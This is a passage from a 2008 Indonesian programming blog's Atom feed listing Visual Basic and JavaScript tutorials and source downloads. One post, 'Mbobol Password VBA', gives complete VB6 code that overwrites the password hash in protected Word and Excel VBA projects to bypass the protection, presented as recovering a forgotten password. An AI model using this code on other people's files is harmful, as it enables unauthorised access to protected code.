lagu? Panadol kan....&lt;/p&gt;  &lt;p align="justify"&gt;Untuk kegunaan itu lah, program ini tercipta. Langkah-langkahnya:   &lt;br /&gt;1. Simpan playlist Winamp berisi lagu-lagu favorit itu ke text file. Caranya klik tombol List Opts - Save List. List yang disimpan akan memiliki extension m3u (sebenernya file text biasa aja), misalnya file bernama laguku.m3u    &lt;br /&gt;2. Jalankan program ini, browse ke laguku.m3u, maka program otomatis akan mengcopy seluruh file mp3 ke folder C:\TEMP (kalo nggak ada, create dulu folder ini).    &lt;br /&gt;3. Kalo semua lagu sudah terkumpul di satu folder C:\TEMP, tinggal gampang kan pindahin ke mp3 player. Programnya juga bisa dimodifikasi supaya simpan langsung ke drive mp3 player, misalnya.&lt;/p&gt;  &lt;p align="justify"&gt;Udah.. begitu ceritanya. Silahkan digunduh source code-nya di &lt;a href="http://joko.nurjadi.googlepages.com/Jn.Mp3Copier.rar"&gt;http://joko.nurjadi.googlepages.com/Jn.Mp3Copier.rar&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://jokonurjadi.blogspot.com/2008/08/free-open-source-vb-6-copy-playlist.html" target="_blank"&gt;jokonurjadi.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:9b7c06c7-aacb-41e4-ab56-8b4ad5872481" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2553323530714869477?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2553323530714869477/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2553323530714869477&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2553323530714869477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2553323530714869477'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/free-open-source-vb-6-copy-playlist.html' title='Free &amp;amp; Open Source VB 6 : Copy Playlist Winamp Ke Mp3 Player'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2148322580451452841</id><published>2008-08-21T19:39:00.001+07:00</published><updated>2008-08-21T19:39:30.196+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Mbobol Password VBA</title><content type='html'>&lt;p align="justify"&gt;Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Ni Tutorial aku dapatkan pada site &lt;a href="http://www.vb-bego.net"&gt;www.vb-bego.net&lt;/a&gt; pada tahun 2006 yang dibuat oleh Anti Hacker.&lt;/p&gt;  &lt;p align="justify"&gt;Silahkan anda ikuti berikut ini:    &lt;br /&gt;Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.    &lt;br /&gt;Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.    &lt;br /&gt;Coba masukan password apa aja untuk mencobanya. kemudian save.    &lt;br /&gt;nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.    &lt;br /&gt;Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;     &lt;br /&gt;Option Explicit      &lt;br /&gt;'// Header Password Untuk VBA      &lt;br /&gt;Const vbbego72 = &amp;quot;E9EB458A628A62759E8B62EFEB0B9567D2F09&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;604067445E7DBDA0C1565BA2023778FEFF9&amp;quot;      &lt;br /&gt;Const vbbego74 = &amp;quot;C2C06E8D52AA52AAAD5653AAE9253D286E4EE&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;E66E86F219911B87D7162FD74EEF579FEB513&amp;quot;      &lt;br /&gt;Const vbbego76 = &amp;quot;ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;E045A28FA28492BA70640C9B1EEEC57ABBBD325&amp;quot;      &lt;br /&gt;Const vbbegoxx = &amp;quot;5654FA3F0641585E585EA7A2595EDCE369B3D&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A&amp;quot;      &lt;br /&gt;Private Sub Command1_Click()      &lt;br /&gt;Dim hFile As String      &lt;br /&gt;Dim inFile As Long, nLoop As Long      &lt;br /&gt;Dim Header As String      &lt;br /&gt;Dim State As Boolean      &lt;br /&gt;'// Header Key VBA Password      &lt;br /&gt;Header = Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA) &amp;amp; Chr(&amp;amp;H44) &amp;amp; Chr(&amp;amp;H50) &amp;amp; _      &lt;br /&gt;Chr(&amp;amp;H42) &amp;amp; Chr(&amp;amp;H3D) &amp;amp; Chr(&amp;amp;H22)      &lt;br /&gt;'// Buka File Excel &amp;amp; Word      &lt;br /&gt;hFile = GetFile(Hwnd)      &lt;br /&gt;If Trim(hFile) &amp;lt;&amp;gt; &amp;quot;&amp;quot; Then      &lt;br /&gt;Dim isiDok As String * 1000      &lt;br /&gt;inFile = FileLen(hFile)      &lt;br /&gt;'// Lakukan pembackupan dokumen sebelum melakukan perubahan      &lt;br /&gt;Dim FileAsli As String      &lt;br /&gt;FileAsli = Dir(hFile &amp;amp; &amp;quot;.bak&amp;quot;, vbNormal)      &lt;br /&gt;If FileAsli = &amp;quot;&amp;quot; Then      &lt;br /&gt;FileCopy hFile, hFile &amp;amp; &amp;quot;.bak&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;'// Baca Tulis Ke File      &lt;br /&gt;Open hFile For Binary Access Read Write As #1      &lt;br /&gt;'// Lakukan Pengulangan Menurut Ukuran File tsb      &lt;br /&gt;For nLoop = 1 To inFile Step 1000      &lt;br /&gt;'// Ambil Data Sebanyak 1000 Karakter      &lt;br /&gt;Get #1, nLoop, isiDok      &lt;br /&gt;DoEvents      &lt;br /&gt;Dim Pos1 As Long, pos2 As Long, pos3 As Long      &lt;br /&gt;'// Periksa Header Key Password      &lt;br /&gt;Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)      &lt;br /&gt;If Pos1 Then      &lt;br /&gt;pos2 = nLoop + Pos1 + Len(Header) - 2      &lt;br /&gt;'// Ambil data pada pointer setelah Header Key      &lt;br /&gt;Get #1, pos2, isiDok      &lt;br /&gt;'// Periksa Isi data yg didapat, apakah terdapat End Key?      &lt;br /&gt;Pos1 = Instr(1, isiDok, Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA), vbBinaryCompare)      &lt;br /&gt;If Pos1 Then      &lt;br /&gt;'// Hitung panjang password yang terdapat pada file      &lt;br /&gt;pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), &amp;quot;&amp;quot;))      &lt;br /&gt;If pos3 Then      &lt;br /&gt;Select Case pos3      &lt;br /&gt;Case 72      &lt;br /&gt;'// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego72      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case 74      &lt;br /&gt;'// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego74      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case 76      &lt;br /&gt;'// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego76      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case Else      &lt;br /&gt;'// Rubah dengan password baru      &lt;br /&gt;'Put #1, pos2 + 1, vbbegoxx      &lt;br /&gt;MsgBox &amp;quot;Password: komunitasvbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;End Select      &lt;br /&gt;State = True      &lt;br /&gt;Exit For      &lt;br /&gt;End If '// Pos3      &lt;br /&gt;End If '// Pos1-&amp;gt;2      &lt;br /&gt;End If '// Pos1-&amp;gt;1      &lt;br /&gt;isiDok = &amp;quot;&amp;quot;      &lt;br /&gt;Next nLoop      &lt;br /&gt;Close #1      &lt;br /&gt;If State = False Then MsgBox &amp;quot;Password Tidak Ditemukan&amp;quot;, _      &lt;br /&gt;16, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;End Sub&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Option Explicit     &lt;br /&gt;Private Declare Function GetOpenFileName Lib &amp;quot;comdlg32.dll&amp;quot; Alias _      &lt;br /&gt;&amp;quot;GetOpenFileNameA&amp;quot; (pOpenfilename As OPENFILENAME) As Long      &lt;br /&gt;Private Type OPENFILENAME      &lt;br /&gt;lStructSize As Long      &lt;br /&gt;hwndOwner As Long      &lt;br /&gt;hInstance As Long      &lt;br /&gt;lpstrFilter As String      &lt;br /&gt;lpstrCustomFilter As String      &lt;br /&gt;nMaxCustFilter As Long      &lt;br /&gt;nFilterIndex As Long      &lt;br /&gt;lpstrFile As String      &lt;br /&gt;nMaxFile As Long      &lt;br /&gt;lpstrFileTitle As String      &lt;br /&gt;nMaxFileTitle As Long      &lt;br /&gt;lpstrInitialDir As String      &lt;br /&gt;lpstrTitle As String      &lt;br /&gt;flags As Long      &lt;br /&gt;nFileOffset As Integer      &lt;br /&gt;nFileExtension As Integer      &lt;br /&gt;lpstrDefExt As String      &lt;br /&gt;lCustData As Long      &lt;br /&gt;lpfnHook As Long      &lt;br /&gt;lpTemplateName As String      &lt;br /&gt;End Type      &lt;br /&gt;Function GetFile(Hwnd As Long) As String      &lt;br /&gt;Dim OFName As OPENFILENAME      &lt;br /&gt;OFName.lStructSize = Len(OFName)      &lt;br /&gt;OFName.hwndOwner = Hwnd      &lt;br /&gt;OFName.hInstance = App.hInstance      &lt;br /&gt;OFName.lpstrFilter = &amp;quot;Ms Ofice97/XP/2003(*.doc;*.xls)&amp;quot; _      &lt;br /&gt;+ Chr$(0) + &amp;quot;*.doc;*.xls&amp;quot; + Chr$(0) _      &lt;br /&gt;+ &amp;quot;Kabeh File (*.*)&amp;quot; + Chr$(0) + &amp;quot;*.*&amp;quot; + Chr$(0)      &lt;br /&gt;OFName.lpstrFile = Space$(254)      &lt;br /&gt;OFName.nMaxFile = 255      &lt;br /&gt;OFName.lpstrFileTitle = Space$(254)      &lt;br /&gt;OFName.nMaxFileTitle = 255      &lt;br /&gt;OFName.lpstrInitialDir = &amp;quot;C:\&amp;quot;      &lt;br /&gt;OFName.lpstrTitle = &amp;quot;Open File - vbBego Team 2000&amp;quot;      &lt;br /&gt;OFName.flags = 0      &lt;br /&gt;If GetOpenFileName(OFName) Then      &lt;br /&gt;GetFile = Left(OFName.lpstrFile, _      &lt;br /&gt;InStr(1, OFName.lpstrFile, Chr(0)) - 1)      &lt;br /&gt;Else      &lt;br /&gt;GetFile = &amp;quot;&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;End Function&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;   &lt;br /&gt;Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya)    &lt;br /&gt;Bagi yang susah mencopy pastekan tu source code silahkan ambil aja source codenya langsung yang aku tulis. &lt;a href="http://www.4shared.com/file/59350001/b5f1048a/CrackVBA.html?dirPwdVerified=836a0645"&gt;klik disini&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://s0dikin.blogspot.com/2008/08/mbobol-password-vba.html" target="_blank"&gt;s0dikin.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:11f5e660-434e-4a53-8de2-d2c20def2eed" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/application" rel="tag"&gt;application&lt;/a&gt;,&lt;a href="http://technorati.com/tags/hack" rel="tag"&gt;hack&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2148322580451452841?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2148322580451452841/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2148322580451452841&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2148322580451452841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2148322580451452841'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/mbobol-password-vba.html' title='Mbobol Password VBA'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2094120532599598269</id><published>2008-08-21T19:37:00.001+07:00</published><updated>2008-08-21T19:37:08.431+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Source Code Visual Basic: Sistem Informasi Penjualan Kendaraan Bermotor</title><content type='html'>&lt;h5&gt;&lt;img style="margin: 0px 5px 0px 0px" height="144" src="http://lh5.ggpht.com/riyunizaalbum/SKW2S_icaNI/AAAAAAAAAJ0/OxgCZfuGlEE/zrclip_002pfa96f13.png?imgmax=400" width="192" align="left" /&gt;Program ini merupakan program tentang sistem informasi penjualan kendaraan bermotor, program yang dibuat tergolong lengkap mulai dari entri data kendaraan, entri harga angsuran, pelanggan transaksi dan angsuran. Dilihat dari menu yang tersedia program sepertinya mendukung jenis penjualan kredit.&lt;/h5&gt;  &lt;p&gt;Menariknya untuk pelaporan program menyediakan informasi dan laporan, informasi ditampilkan dengan menggunakan grid yang bisa difilter berdasarkan kriteria tertentu, dan laporan dengan menggunakan crystal report.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p&gt;Untuk mendownload program klik di &lt;a href="http://rambutbiru.googlepages.com/sispkb.zip"&gt;download Source Code Visual Basic: Sistem Informasi Penjualan Kendaraan Bermotor     &lt;br /&gt;&lt;/a&gt;password: riyuniza&lt;/p&gt;  &lt;p&gt;source : &lt;a href="http://e-riyuniza.blogspot.com/2008/08/source-code-visual-basic-sistem.html" target="_blank"&gt;e-riyuniza.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:352c3b10-b085-4dae-a86e-2f1d155f3320" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/penjualan" rel="tag"&gt;penjualan&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2094120532599598269?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2094120532599598269/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2094120532599598269&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2094120532599598269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2094120532599598269'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/source-code-visual-basic-sistem.html' title='Source Code Visual Basic: Sistem Informasi Penjualan Kendaraan Bermotor'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/riyunizaalbum/SKW2S_icaNI/AAAAAAAAAJ0/OxgCZfuGlEE/s72-c/zrclip_002pfa96f13.png?imgmax=400' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2529250179412097341</id><published>2008-08-21T19:34:00.001+07:00</published><updated>2008-08-21T19:34:41.018+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>Membuat program penghitung kata dengan Java Script</title><content type='html'>&lt;p align="justify"&gt;&lt;a href="http://wikanpribadi.files.wordpress.com/2008/08/hitung_kata.jpg"&gt;&lt;img style="margin: 0px 5px 0px 0px" height="203" alt="" src="http://wikanpribadi.files.wordpress.com/2008/08/hitung_kata.jpg?w=300&amp;amp;h=203" width="300" align="left" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pernahkah anda suatu saat ingin menghitung banyaknya jumlah kata yang terdapat di dalam suatu artikel/naskah/tulisan soft copy yang ada di komputer anda. Beberapa aplikasi teks editor, seperti MS Word memang sudah menyediakan fasilitas untuk menghitung kata (Word Count). Untuk dapat melakukan penghitungan kata dari file teks selain format yang didukung aplikasi tersebut, tentunya anda harus melakukan prosedur Copy and Paste. Untuk jaga-jaga, jikalau terlalu berat untuk membuka aplikasi tersebut atau jika aplikasi tersebut ternayata tidak tersedia, ada baiknya anda membuat sendiri aplikasi penghitung kata dengan Java Script. Selain tidak sulit membuatnya, aplikasi ini sangat kecil (1 KB) dan hanya membutuhkan browser (seperti: Internet Explorer atau Mozilla Firefox) untuk menjalankannya.&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Untuk memulai membuatnya, bukalah Notepad kemudian tuliskan source code Java Script seperti berikut:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;&amp;lt;form method=&amp;#8221;POST&amp;#8221; name=&amp;#8221;hitungkata&amp;#8221;&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;&amp;lt;script language=&amp;#8221;JavaScript&amp;#8221;&amp;gt;     &lt;br /&gt;function hitung()      &lt;br /&gt;{      &lt;br /&gt;var formcontent=document.hitungkata.kalimat.value      &lt;br /&gt;formcontent=formcontent.split(&amp;#8221; &amp;#8220;)      &lt;br /&gt;document.hitungkata.hasilhitung.value=formcontent.length      &lt;br /&gt;}      &lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;&amp;lt;center&amp;gt;     &lt;br /&gt;&amp;lt;table border=&amp;#8221;0&amp;#8243; cellspacing=&amp;#8221;0&amp;#8243; cellpadding=&amp;#8221;0&amp;#8243;&amp;gt;      &lt;br /&gt;&amp;lt;tr&amp;gt;      &lt;br /&gt;&amp;lt;td width=&amp;#8221;100%&amp;#8221;&amp;gt;&amp;lt;textarea rows=&amp;#8221;12&amp;#8243; name=&amp;#8221;kalimat&amp;#8221; cols=&amp;#8221;60&amp;#8243; wrap=&amp;#8221;virtual&amp;#8221;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;      &lt;br /&gt;&amp;lt;/tr&amp;gt;      &lt;br /&gt;&amp;lt;tr&amp;gt;      &lt;br /&gt;&amp;lt;td width=&amp;#8221;100%&amp;#8221;&amp;gt;&amp;lt;div align=&amp;#8221;right&amp;#8221;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;input type=&amp;#8221;button&amp;#8221; value=&amp;#8221;Hitung Jumlah Kata&amp;#8221;      &lt;br /&gt;onClick=&amp;#8221;hitung()&amp;#8221;&amp;gt; &amp;lt;input type=&amp;#8221;text&amp;#8221; name=&amp;#8221;hasilhitung&amp;#8221; size=&amp;#8221;20&amp;#8243;&amp;gt;      &lt;br /&gt;&amp;lt;/td&amp;gt;      &lt;br /&gt;&amp;lt;/tr&amp;gt;      &lt;br /&gt;&amp;lt;/table&amp;gt;      &lt;br /&gt;&amp;lt;center&amp;gt;      &lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;kemudian simpan dengan memilih [File] &amp;gt; [Save As]. Saat jendela Save As muncul, pada bagian [Save as type:] pilih All files, kemudian ketikan nama file pada bagian [File name:] berikut ekstensi .html dibelakang nama file (misalkan hitung_kata.html).&lt;/p&gt;  &lt;p align="justify"&gt;Kini anda tinggal membuka file hitung_kata.html menggunakan browser kesukaan anda, masukkan teks yang akan dihitung jumlah katanya pada kotak yang tersedia, kemudian klik tombol [Hitung Jumlah Kata] untuk mengetahui jumlah kata pada teks tersebut.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://wikanpribadi.wordpress.com/2008/08/19/membuat-program-penghitung-kata-dengan-java-script/" target="_blank"&gt;wikanpribadi.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:0bf27781-65aa-426d-9d77-f69046f1ef07" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/javascript" rel="tag"&gt;javascript&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2529250179412097341?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2529250179412097341/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2529250179412097341&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2529250179412097341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2529250179412097341'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/membuat-program-penghitung-kata-dengan.html' title='Membuat program penghitung kata dengan Java Script'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4166915095130616172</id><published>2008-08-21T19:30:00.001+07:00</published><updated>2008-08-21T19:30:35.600+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Source Code Program Visual Basic : Program Buku Tamu</title><content type='html'>&lt;h5 align="justify"&gt;&lt;img style="margin: 0px 5px 0px 0px" height="168" src="http://lh6.ggpht.com/riyunizaalbum/SKW2iecvi6I/AAAAAAAAAJ8/jn0vJvYHOvg/BUKUTAMU_0001.jpg?imgmax=800" width="177" align="left" /&gt;Pernah menggunakan sebuah buku tamu untuk menerima tamu di acara-acara seperti seminar, atau lokakarya dan sebagainya?. Tentunya berdasarkan buku tamu tersebut nantinya akan dibuatkan sertifikat bahwa si tamu menghadiri acara seminar/lokakarya tersebut.&lt;/h5&gt;  &lt;p align="justify"&gt;Kesulitan utama menggunakan buku tamu adalah ketidak tahuan si peserta bahwa nama yang diisi haruslah benar, dan dengan gelar yang tepat. Sebab jika tidak buku tamu itu akan di entrikan kedalam komputer mungkin dengan menggunakan mail merge ataupun dengan aplikasi excel untuk kemudian dicetak di blangko yang sudah ada.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk membantu hal tersebut bagaimana kalau kita buatkan sebuah program untuk mengentrikan data para peserta seminar tersebut. Setelah data selesai di entrikan kemudian akan didapatkan data lengkap si peserta dan bisa langsung di print ditempat untuk mendapatkan sertifikatnya!.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Kebetulan, sewaktu masih bekerja di Universitas Negeri Padang, saya pernah merancang sebuah program aplikasi yang berguna untuk mencetak ucapan terima kasih kepada para tamu yang datang ke UPI YPTK Padang. Program ini bisa dikembangkan untuk membuat program buku tamu sebagaimana dimaksud, silahkan dikembangkan.&lt;/p&gt;  &lt;p align="justify"&gt;Anda bisa mendownloadnya di &lt;a href="http://rambutbiru.googlepages.com/bukutamu.zip"&gt;Download Source Code Program Visual Basic : Program Buku Tamu&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Password:riyuniza&lt;/p&gt;  &lt;p align="justify"&gt;Selamat belajar..&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://e-riyuniza.blogspot.com/2008/08/source-code-program-visual-basic_15.html" target="_blank"&gt;e-riyuniza.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4cfd2e80-5558-4464-b885-0d96100b09d5" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/visual%20basic" rel="tag"&gt;visual basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/program" rel="tag"&gt;program&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4166915095130616172?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4166915095130616172/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4166915095130616172&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4166915095130616172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4166915095130616172'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/source-code-program-visual-basic.html' title='Source Code Program Visual Basic : Program Buku Tamu'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image 